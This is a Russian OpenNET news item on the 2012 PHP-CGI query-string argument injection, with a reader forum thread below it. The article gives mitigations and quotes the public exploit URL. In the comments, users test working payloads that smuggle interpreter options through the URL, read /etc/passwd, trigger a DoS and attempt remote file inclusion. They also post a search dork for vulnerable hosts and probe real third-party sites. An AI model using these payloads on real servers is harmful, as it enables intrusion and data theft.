The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Критическая уязвимость в PHP. Обновления PHP 5.3.12 и PHP 5.4.2 не устраняют проблему

03.05.2012 22:17

Компьютерная группа реагирования на чрезвычайные ситуации (CERT) опубликовала уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме (используется некоторыми хостинг-провайдерами). Cкрипты, выполняемые с использованием mod_php и FastCGI (например, связки nginx с php-fpm), не подвержены проблеме.

Опасность уязвимости усугубляет тот факт, что несмотря на то, что разработчики PHP были уведомлены о проблеме ещё 17 января, а 23 февраля был отправлен дополнительный запрос от имени CERT, уязвимость остаётся неисправленной. Проблема вызвана ошибкой, допущенной в 2004 году. Интересно также то, что утечка информации возникла из-за оплошности разработчиков PHP, поместивших информацию о проблеме в публичный трекер ошибок, до момента выхода исправления с устранением уязвимости.

Эксплуатация проблемы тривиальна - достаточно передать опцию командной строки, поддерживаемую интерпретатором, в качестве аргумента при выполнении запроса. Например, для показа исходного кода текущего скрипта достаточно указать "http://localhost/index.php?-s". Также можно поступить и с другими опциями и, проявив немного эрудиции, организовать выполнение кода на сервере. Всем пользователям PHP, использующим скрипты в режиме CGI, следует незамедлительно установить патч.

Дополнение 1: В экстренном порядке подготовлены корректирующие выпуски PHP 5.3.12 и PHP 5.4.2, в которых предпринята попытка устранения указанной узявимости. В качестве дополнительного пути блокирования проблемы, в Apache предлагается использовать правила mod_rewrite:


   RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC] 
   RewriteRule ^(.*) $1? [L]

Ещё один способ защиты - во враппере добавить "--". Например:


   exec /usr/bin/php-cgi -- "$@"

Дополнение 2: Изучение выпущенных обновлений PHP 5.3.12 и PHP 5.4.2 показало, что они устраняют лишь частный случай эксплуатации и не исключают применения обходных путей совершения атаки в некоторых конфигурациях. Дополнительные обновления PHP, полностью устраняющие уязвимость, будут выпущены 8 мая.

Дополнение 3: В публичном доступе появился эксплоит, позволяющий выполнить на сервере произвольный PHP-код, манипулируя директивами php.ini через опцию "-d" (примерно так: "http://localhost/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://адрес").

  1. Главная ссылка к новости (http://www.kb.cert.org/vuls/id...)
  2. OpenNews: Корректирующие выпуски PHP 5.3.11 и PHP 5.4.1 с поддержкой Apache 2.4
  3. OpenNews: Проект PHP мигрировал с Subversion на Git
  4. OpenNews: Релиз PHP 5.4.0. Обзор новшеств
  5. OpenNews: Критическая уязвимость в PHP, позволяющая выполнить код на сервере. Вышел релиз PHP 5.3.10
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: php, security
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (103) Ajax | 1 уровень | Линейный | Раскрыть всё | RSS
  • 1.1, Аноним (-), 22:37, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    PHP???
    Nobody cares
     
     
  • 2.49, lf (??), 11:33, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +9 +/
    кто-то юзает php в cgi режиме??????????????????
     
     
  • 3.88, Аноним (-), 16:24, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Некрофилы и извращенцы. Ну наконец то им прилетят серебряные пули :)
     
  • 3.104, Georges (ok), 10:36, 08/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Некоторые хостеры, которые орут что у них есть PHP 5.2 5.3 и 5.4
     

  • 1.2, Аноним (-), 22:42, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/
    PHP: a fractal of bad design.
     
  • 1.3, Аноним (-), 22:45, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > выполняемого в CGI-режиме.

    Так и надо всяким некроманам-извращенцам ;]

     
  • 1.4, Аноним (-), 22:53, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +20 +/
    Хм. А я думал, что это штатная фича.
    Теперь понятно, почему в документации ее хрен найдешь.
     
     
  • 2.10, Xasd (ok), 00:15, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    тож думал что это фишка...:)

    ...както странно слышать это среди багов... xD .. хотя уже и не странно xD .. видимо чтобы эта фигня проявила себя -- php-cgi нужно вызывать напрямую из Apache а не через shell wrapper

     

  • 1.5, Аноним (-), 23:35, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Ожидаемо.
     
  • 1.6, codejumper (?), 23:47, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    жуть
    какое счастье, что у меня fcgi
     
  • 1.7, jedie (?), 23:55, 03/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    У кого то еще CGI?
     
     
  • 2.8, Аноним (-), 00:08, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы, только эксплуатировать можно если попасть в первый запрос при запуске нового FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа запуска PHP под FastCGI.
     
     
  • 3.9, Аноним (-), 00:13, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > На самом деле судя по всему и PHP-скрипты под FastCGI тоже уязвимы,
    > только эксплуатировать можно если попасть в первый запрос при запуске нового
    > FastCGI-процесса. Но здесь всё очень сильно зависит от конфигурации и способа
    > запуска PHP под FastCGI.

    Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.

     
     
  • 4.25, Аноним (-), 02:04, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Например, в дефолтовом примере к spawn-fcgi вызывается php5-cgi и теоретически должно сработать.

    А что, пыху там через командлайн параметры запроса передаются? В cgi оно вот так вот, ибо дебильный древний и тормозной протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн + редиректом вывода. Что делает этот идиотизм крайне паршивым с точки зрения нагрузки и безопасности: кто угодно может вам провоцировать довольно тяжелый форк процесса оптом извне, что уже хорошая заявка на победу.

    А у фаста ж постоянно висяшие процессы + свой протокол для передачи параметров. Не догоняю как сие должно в нем срабатывать?

     
     
  • 5.36, Аноним (-), 09:16, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Почитайте на досуге как работает CGI, командная строка там вообще не причём. FastCGI отличается от CGI только дополнительным циклом обработки запросов, чтобы каждый раз заново процесс не запускать, в остальном всё идентично.
     
     
  • 6.44, samm (ok), 11:14, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Вы не правы. Почитайте сами спецификации на CGI и FCGI, это разные протоколы.
     
     
  • 7.56, Аноним (-), 12:14, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    И и там и там запускаемое приложение, в нашем случае интерпретатор php со скриптом, получает аргументы через стандартный ввод и переменные окружения. В логике работы разница только в цикле. То что отличаются методы доставки запроса (стандартный ввод/вывод vs UNIX или TCP сокет) большой роли в рассматриваемой ситуации не играет, на уровне приложения вся обработка параметров запроса идентична.
     
     
  • 8.94, Аноним (-), 16:51, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Прикольно гнать пургу с умным видом А если ман все-таки почитать, там таки напи... текст свёрнут, показать
     
     
  • 9.98, Аноним (-), 23:23, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    При чем здесь протокол доставки, когда речь про обработку запроса на стороне при... текст свёрнут, показать
     
  • 6.89, Аноним (-), 16:26, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Почитайте на досуге как работает CGI, командная строка там вообще не причём.
    > FastCGI отличается от CGI только дополнительным циклом обработки запросов,

    Вообще-то я читал спеки на оба и fast как-то совсем-совсем другой протокол.

    > чтобы каждый раз заново процесс не запускать, в остальном всё идентично.

    ... кроме того что нет собственно запуска и передачи параметров, все делается через свой протокол обмена. Ну а раз нет запуска - то как вы, черт возьми, проэксплуатируете запуск?! :)

     
     
  • 7.100, Аноним (-), 23:45, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Это я ступил, думал что ошибка в PHP сводится к тому, что он параметры в STDIN п... текст свёрнут, показать
     
  • 5.52, Аноним (-), 11:41, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > протокол с форком обработчика на каждый реквест и передачей ему параметров через командлайн

    Не командлайн, а STDIN.

     
  • 5.67, terr0rist (ok), 23:04, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > дебильный древний и тормозной протокол

    да для вас наверно всё старое - дебильное и тормозное. А для кого-то это этап в развитии.
    Тем более CGI позволяет делать кое-что, чего другие не могут в принципе. Дебилизм - это применять ко всем мерку "если это велосипед, то он по умолчанию хуже моего лексуса". Даже если велик и "тормознее".
    (Не говоря уже о том, что на современных серваках с современными скриптами все эти форки и передача аргументов занимают 0.0001% процессорного времени)

     
     
  • 6.90, Аноним (-), 16:29, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >> дебильный древний и тормозной протокол
    > да для вас наверно всё старое - дебильное и тормозное.

    Все познается в сравнении. Но некоторые дизайны просто галимы на уровне идеи. Столь же безблагодатная идея как форки процессов в апаче.

    > Тем более CGI позволяет делать кое-что, чего другие не могут в принципе.

    Например? Очень интересно :)

    > все эти форки и передача аргументов занимают 0.0001% процессорного времени)

    Ага. Пока не придет Вася Пупкин и не пустит туда ab2 какой-нибудь. Порсле чего Васин нетбук на раз укладывает многопроцессорный ксеон. Потому что ему только конекцию сделать, а серваку - отдуваться по полной: форкануть процесс, обработать запрос, ... :)

     
     
  • 7.101, angra (ok), 10:04, 06/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Ну не то чтобы принципиально невозможно, но некоторые вещи действительно удобней... текст свёрнут, показать
     
     
  • 8.102, arisu (ok), 15:47, 06/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    очень разумная идея ... текст свёрнут, показать
     
  • 8.106, Аноним (-), 08:35, 10/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    тут особой проблемы нет, можно поставить минимальное кол-во fcgi-процессов в 0 и... текст свёрнут, показать
     
  • 2.46, FSA (ok), 11:19, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    hc.ru - хостинг-центр РБК
     

  • 1.11, XoRe (ok), 00:17, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
    Патч применят не все и не сразу.
    Имхо, это кандидат на звание самой эпичной уязвимости php за всю историю интерпретатора.
     
     
  • 2.20, Аноним (-), 01:19, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • –7 +/
    > Очень многие российские хостинги (включая самые крупные) запускают php именно в режиме cgi.
    > Патч применят не все и не сразу.

    Если именно CGI и даже не фаст - так и надо этим дебилам. Естественный отбор. Чем раньше даунов вынесет с рынка - тем лучше.

     
     
  • 3.37, Аноним (-), 09:20, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем. Хаки вида openbasedir мало помогают, регулярно всплывают новые методы их обхода. FastCGI в условиях shared хостинга неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом в памяти нужно держать как минимум один процесс).
     
     
  • 4.50, FSA (ok), 11:35, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    У Valuehost с этим проблем нет. Когда-то давно на форуме webhostingtalk.ru видел обсуждение по поводу реализации работы от разных пользователей. Там принимал участие один из самых активных администраторов в то время Valuehost. Он описал принцип работы хостинга, хотя реальных примеров не приводил. В принципе у меня получилось на локальной машине, но не работали некоторые вещи (например, загрузка файлов на сервер). И не работали они и там скорее всего до патчей. Вот только содержимое патчей так и не появилось на форуме. Было только известно, что патчи не затрагивают операционную систему (у них FreeBSD).
     
     
  • 5.51, FSA (ok), 11:38, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ох! Проситите! Столько запятых пропустил в тексте :(
     
  • 5.53, Аноним (-), 11:45, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Ой,  только Valuehost не вспоминайте, там был грязный хак с постоянной работой всех дочерних процессов apache под root-ом и сменой пользователя при обработке каждого запроса. Такой метод не намного лучше cgi, только вместо запуска внешнего процесса форкается дочерняя копия httpd.
     
  • 4.64, Andrew Kolchoogin (?), 15:03, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    php-fpm поможет отцу русской демократии. Объявите столько пулов, сколько у вас пользователей, и запускайте каждый пул от своего аккаунта.
     
  • 4.71, Аноним (-), 03:11, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >FastCGI в условиях shared хостинга
    > неприменим из-за больших накладных расходов (для каждого пользователя с активным сайтом
    > в памяти нужно держать как минимум один процесс).

    Расходы есть по памяти (среднее кол-во памяти на php-cgi-процесс: 15М, при 1000 пользователях, DefaultMinClassProcessCount 0 (mod_fcgid) и DefaultMaxClassProcessCount 10, среднее кол-во одновременно запущенных php-cgi - не превышает 700, т.е. ~10ГБ оперативки, сейчас в таком режиме у меня работает 14 серверов, при этом глобально подключено совсем не много модулей, каждый юзер сам включает то, что ему нужно в своем собственном php.ini, такая занимательная статистика), но есть и сокращение расходов по ЦПУ.

     
  • 4.84, erera22 (ok), 15:21, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    mod_ruid же
     
  • 3.68, terr0rist (ok), 23:15, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +3 +/
    и правильно делают, кстати точно так же запускают и перл и питон и sh и всё о... текст свёрнут, показать
     
     
  • 4.103, Аноним (-), 18:13, 07/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Очень надеюсь, что процесс умирания РНР (в текущем виде) после этого бага ускорится.

    Не ускориться, потому что всегда будет дофига тех, кто не осилил нормальные языки и платформы. И всегда будет куча заказчиков-жлобов, которые будут нанимать ниосиляторов за копейки, чтобы, как они думают, увеличить свою прибыль.

     
  • 2.22, jedie (?), 01:33, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Можно проблему эту решить через mod rewrite ну или другие rewriteры.
     
     
  • 3.70, arisu (ok), 00:36, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    или при помощи полного удаления php, это всяко надёжней.
     
     
  • 4.92, Аноним (-), 16:37, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > или при помощи полного удаления php, это всяко надёжней.

    Если пойти чуть дальше, можно не подключать сеть. Тогда хакеру придется притащиться к серверу лично, что существенно усложняет взлом. Алсо, можно установить пустой корпус от сервера. Тогда хакер вообще обломается. Вот прищел ты хакать сервер, а там мамки нет! Абыдна, да? :)

     
     
  • 5.97, arisu (ok), 21:14, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    качество кода php достаточно общеизвестно. использовать ЭТО можно или от нечего делать, когда на результат плевать, или за очень большие деньги (если заказчик не знает адреса, а то может и наведаться потом), или от очень большой глупости.

    p.s. не «кода на php», а «кода самого php», буде кто не понял.

     
  • 2.57, solardiz (ok), 12:30, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это было бы так, но уязвимости подвержены далеко не все хостинги с PHP как CGI ... текст свёрнут, показать
     

  • 1.12, Аноним (-), 00:22, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    http://allvanyzatok.hu/phpinfo.php, обратите внимание на Server API: CGI. Не удалось получить исходник.
    http://360commercialre.com/phpinfo.php, тоже. Вот с версией постарше -http://31minutos.inet.cl/phpinfo.php - тоже
     
     
  • 2.23, Аноним (-), 01:40, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +2 +/
    во враппере:
    exec /usr/bin/php-cgi -- "$@"
    или вообще без параметров
     
     
  • 3.35, Etch (?), 08:40, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Спасибо, работает воркэрраунд:
    #!/bin/dash
    exec /usr/lib/cgi-bin/php5 -- "$@"

    Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного сайта с посещаемостью 5 чел. в сутки.

     
     
  • 4.95, Аноним (-), 17:23, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > Просто нет смысла держать на ВПС постоянно в памяти mod_php ради одного
    > сайта с посещаемостью 5 чел. в сутки.

    Вы все-равно не сможете безнаказанно занять эту память - под угрозой облома выполнения скрипта. Памяти или хватает суммарно на всех, или нет. Хуже всего когда ее изредка не хватает в сильно некоторых ситуациях, такая грабля может очень сильно съесть мозг.

     
  • 2.29, Diden05 (ok), 03:47, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Из скрипта никак не узнаешь как запущен PHP, как FCGI или просто CGI. Поэтому в phpinfo и будет написано cgi.
     

  • 1.13, Xasd (ok), 00:38, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    кроме ?-s чтонибудь "полезное" получилось выполнить? :)

    ...ато например ?--run%3Dphpinfo()%3B чтото не получается... гдето ошибся, но не пойму где %) %)

     
     
  • 2.14, LostAlly (?), 00:44, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    %22%3B может закрываться так должно? А не наоборот?
     
     
  • 3.16, Xasd (ok), 00:53, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    понял в чём дело нет такого параметра в php-cgi там только code php-... текст свёрнут, показать
     
     
  • 4.17, Xasd (ok), 00:54, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    или всётаки я НЕ понял... ведь ?--syntax-highlight тоже работает
     
  • 2.18, Xasd (ok), 01:08, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > кроме ?-s чтонибудь "полезное" получилось выполнить? :)

    кстате говоря напоминаю, что чтбы передать ДВА параметра, их нужно разделить знаком +

    например:
    ?-d+foo%3Dbar

    (здесь ''%3D'' вместо ''='' , так как ''='' запрещено к использованию)

     
     
  • 3.21, Xasd (ok), 01:22, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    вот успешно получившийся пример:

    ?-d+memory_limit%3D20M

    этот параметр уменьшает лимит выделенной памяти ДО 20M (если уменьшить или увеличть этот параметр то мы можем увидить или не увидить страничку)

    больше покатчо ничо не вышло.... :-( :-( :-(

    а интересено былобы чтобы например както моглобы сработать:
       auto_prepend_file
            с параметром
       http://ompldr.org/vZG0yNQ

     
     
  • 4.24, Аноним (-), 01:55, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    дык, allow_url_include и в добрый путь
     
     
  • 5.26, Xasd (ok), 02:13, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > дык, allow_url_include и в добрый путь

    почемуто не выходет даже с ней... :-( :-( :-(

    ..единственное что удачно вышло с auto_prepend_file -- это прочитать список пользователей (/etc/passwd)

    вот так

    ?-d+default_mimetype%3Dtext/plain+-d+auto_prepend_file%3D/etc/passwd

     
     
  • 6.27, Xasd (ok), 02:17, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    а может быть можно както создать типа ERROR LOG какойнить?? и внутри этого файла, созать нужную последовательность <?php ... ?> , а затем её локально подключить через auto_prepend_file ???

    что думаете, товарищи?

     
     
  • 7.28, Xasd (ok), 02:54, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    покачто не вижу пути подставить внутрь "error.log.php" хоть какуюто "полезную" инфинормарцию

    ...ну тоесть создать то error.log.php можно.. и запустить его можно (preload) .. и даже можно специально сделать ошибку, которая пападёт внутрь этого error.log.php ..(например запросим несуществующий файл часть имени которого содержит символы <%3Fphp phpinfo()%3B %3F>  :))

    ...но при вписывании "полезной" последовательности через URL-строку:
        <%3Fphp phpinfo()%3B %3F>
            Апач превращает её в последовательность
        \<\?php phpinfo\(\)\; \?\>.php
    (тоесть автоматически экранирует)

    таким образом в таком экранированном виде она и попадает внутрь error-log... :-(

    печалька... а всё было так близко :-( :-(

     
     
  • 8.69, akrylasov (?), 00:30, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    работает если вместо php забить http i php -d allow_url_include 3d1 -d au... текст свёрнут, показать
     
  • 6.38, Аноним (-), 10:00, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    This setting requires allow_url_fopen to be on.
     
     
  • 7.47, Xasd (ok), 11:28, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    а ещё можно предположить, что сервера на которых я экспериментировал -- имеют iptables защищающий исходящие запросы... кто знает... %) %)

    ...но вот никак не выходит :-(

     

  • 1.15, mikevmk (??), 00:47, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    dork :)
    Server API CGI inurl:info.php -"CGI/FastCGI"

    и не работает нигде ?-s

     
  • 1.19, Аноним (-), 01:18, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    И, по традиции, пачт уязвимость не устраняет, а немного видоизменяет - параметры передать всеравно можно.
     
  • 1.30, PavelR (ok), 04:53, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/

    DOS-ить можно: ?-T%2010000

     
  • 1.33, arisu (ok), 07:36, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    php — глобально и надёжно!
     
  • 1.39, CSRedRat (ok), 10:15, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    nginx.org ещё раз подтверждает свои плюсы использования php без apache ;)
     
     
  • 2.40, AlexAT (ok), 10:33, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • –1 +/
    nginx головного мозга? Нефиг некрофилить по CGI.
     
     
  • 3.42, Andrey Mitrofanov (?), 10:59, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > nginx головного мозга? Нефиг некрофилить по CGI.

    Я конечно, не совсем распарсил тонкого сарказму предыдущего оратора, но [предполагаю, он говорит, что] в nginx _нет CGI по жизни -- вообще. Только FastCGI. //Проверил на локалхосте с nginx + spawn-fcgi этот самый ...php?-s -- не действует.

     
  • 2.41, Sas (ok), 10:49, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • –2 +/
    плюс у него есть в том что он все еще не может .htaccess(
     
     
  • 3.43, Andrey Mitrofanov (?), 11:01, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >он все еще не может .htaccess(

    Совувствуем _Вашим мучениям!! //В след.раз голубые ленточки начнём раздавать?

     
  • 3.45, FSA (ok), 11:18, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Т.е. из-за такой мелочи вы тянете за собой монстра Apache? Да, понимаю, в nginx это реализуется только в конфигах. Но реализуется же!
     
     
  • 4.48, Sas (ok), 11:30, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    вы это скажите программистам битрикса.
    или после каждого их костыля мне лезть в конфиг?
    обговорил проблему с программерами и решили доставить апача к nginx
     
     
  • 5.54, EuPhobos (ok), 11:53, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Выкиньте битрикс, вместе с программистами ;)
    Когда глобальный движок заточен под что-то одно, он перестаёт быть глобальным движком.

    Выб.. ещёб.. нашлиб.. программистов которые затачивают только под ms-iis

     
  • 5.93, Аноним (-), 16:42, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > вы это скажите программистам битрикса.

    Это поделие обкуренных бабуинов только могила исправит. Почему-то все кто имел с ним дело из цензурных выражений для его описания использовали только междометия.

     

  • 1.55, ALex_hha (ok), 11:58, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > Для PHP нет другого пути разделения привилегий, если использовать mod_php, то все скрипты будут работать под одним пользователем.

    открой для себя mpm-itk и будет тебе счастье

     
     
  • 2.59, Аноним (-), 12:46, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    OK. А как крутить несколько версий php на одном сервере?
     
     
  • 3.60, AlexAT (ok), 13:01, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > OK. А как крутить несколько версий php на одном сервере?

    В принципе ничто не мешает собрать несколько модулей с разными именами модуля, и использовать.

     

  • 1.58, Аноним (-), 12:44, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Я чего-то не понимаю? Почему нельзя во врапере вместо
    #!/bin/sh
    /usr/data/wrappers/php/5.3/bin/php-cgi $*

    сделать просто

    #!/bin/sh
    /usr/data/wrappers/php/5.3/bin/php-cgi

     
     
  • 2.61, anonymous (??), 14:09, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда путь до скрипта не получит.
     
     
  • 3.63, anonymous (??), 14:33, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя, впрочем, должен получить через SCRIPT_FILENAME.
     
  • 2.62, anonymous (??), 14:14, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Мне другой вопрос гораздо интереснее: разве всё, что после "?" идёт, не должно передоваться в переменной окружения QUERY_STRING? Надо понимать, php-cgi автоматом дописывает QUERY_STRING в конец списка аргументов вызова, поэтому "--" и решает проблему?
     
     
  • 3.65, Аноним (-), 18:16, 04/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    php-cgi путь до скрипта получает через переменную окружения. В "$*" всегда находится только QUERY_STRING (кто не верит может проверить). Уязвимость работает именно потому что php-cgi фактически запускается как
    php-cgi $QUERY_STRING

    Если бы он в самом деле запускался как
    php-cgi $SCRIPT $QUERY_STRING
    проблемы бы не возникло. Сравните к примеру результаты работы в консоли
    php-cgi index.php -s
    и
    php-cgi -s index.php
    В первом случае "-s" не воспринимается как директива.

    При этом, сам php спокойно получет значение QUERY_STRING через одноименную переменную окружения, поэтому зачем передавать ему дополнительно "$*" я не понимаю. Нет "$*" - нет проблемы. Или я чего-то не учел?

     

  • 1.66, Test (?), 18:49, 04/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    php, такой php ((((
     
     
  • 2.74, Аноним (-), 12:26, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    в win32 на проверяемом сервере оказалось, что запуск производится вообще просто как
    Path_to_php\php-cgi.exe
    а имя скрипта (ну QUERY_STRING конечно) передается через переменные окружения.
    Но если же QUERY_STRING начинается со знака "-", вот тогда запуск происходит как
    Path_to_php\php-cgi.exe QUERY_STRING
    Соответственно все ниж приведенные wrapper'ы работают корректно.
    И все же не совсем понимаю зачем вообще было реализовать ключи командной строки именно для php-cgi.exe.
     
     
  • 3.96, Аноним (-), 17:49, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    Чуть ошибся я в проверке. Действительно, как и указано в спецификации CGI, если в строке запроса присутствует символ "=", то апач вызывает Path_to_php\php-cgi.exe и устанавливает переменную окружения QUERY_STRING. Если же символ "=" отсутствует, то апач вызывает
    Path_to_php\php-cgi.exe строка_запроса
     

  • 1.72, Аноним (-), 07:06, 05/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Дак просто используем следующий врапер, а не php-cgi сам
    #!/usr/bin/php-cgi

    и проблема с -s не воспроизводится

     
  • 1.73, Аноним (-), 12:20, 05/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Или для винды phpcgi.cmd

    @echo off
    c:\php\php-cgi.exe

     
  • 1.75, Юрий (??), 14:08, 05/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    В связке nginx+php-fpm все спокойно, ничего воспроизвести не удалось. Можно спать спокойно)
    Протестирована на nginx + php-fpm 4.4.9 и nginx + php-fpm 5.2.17
     
  • 1.76, Алексей Добров (?), 14:32, 05/05/2012 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    "Cкрипты, выполняемые с использованием mod_php и FastCGI (например,  
    связки nginx с php-fpm), не подвержены проблеме".
    Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..
     
     
  • 2.77, Аноним (-), 14:38, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > "Cкрипты, выполняемые с использованием mod_php и FastCGI (например,
    > связки nginx с php-fpm), не подвержены проблеме".
    > Вот интересно, кто, зачем и как часто использует PHP в CGI-режиме?..

    например для одновременной работы разныхверсий пхп.

     
     
  • 3.78, Алексей Добров (?), 14:44, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    И как часто требуется одновременная работа разных версий PHP? ;)
     
     
  • 4.79, Аноним (-), 14:52, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    > И как часто требуется одновременная работа разных версий PHP? ;)

    на хостингах - бывает.

     
     
  • 5.81, Алексей Добров (?), 15:03, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >> И как часто требуется одновременная работа разных версий PHP? ;)
    > на хостингах - бывает.

    Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или я чего-то не понимаю?

     
     
  • 6.83, Аноним (-), 15:15, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >>> И как часто требуется одновременная работа разных версий PHP? ;)
    >> на хостингах - бывает.
    > Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
    > строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
    > я чего-то не понимаю?

    строчку покажите

     
     
  • 7.85, Алексей Добров (?), 15:21, 05/05/2012 [^] [^^] [^^^] [ответить]  
  • +/
    >>>> И как часто требуется одновременная работа разных версий PHP? ;)
    >>> на хостингах - бывает.
    >> Ну, вообще говоря, обычно на хостингах (в случае apache) это решается одной
    >> строчкой в файле .htaccess в соответствующих местах, а не cgi-режимом. Или
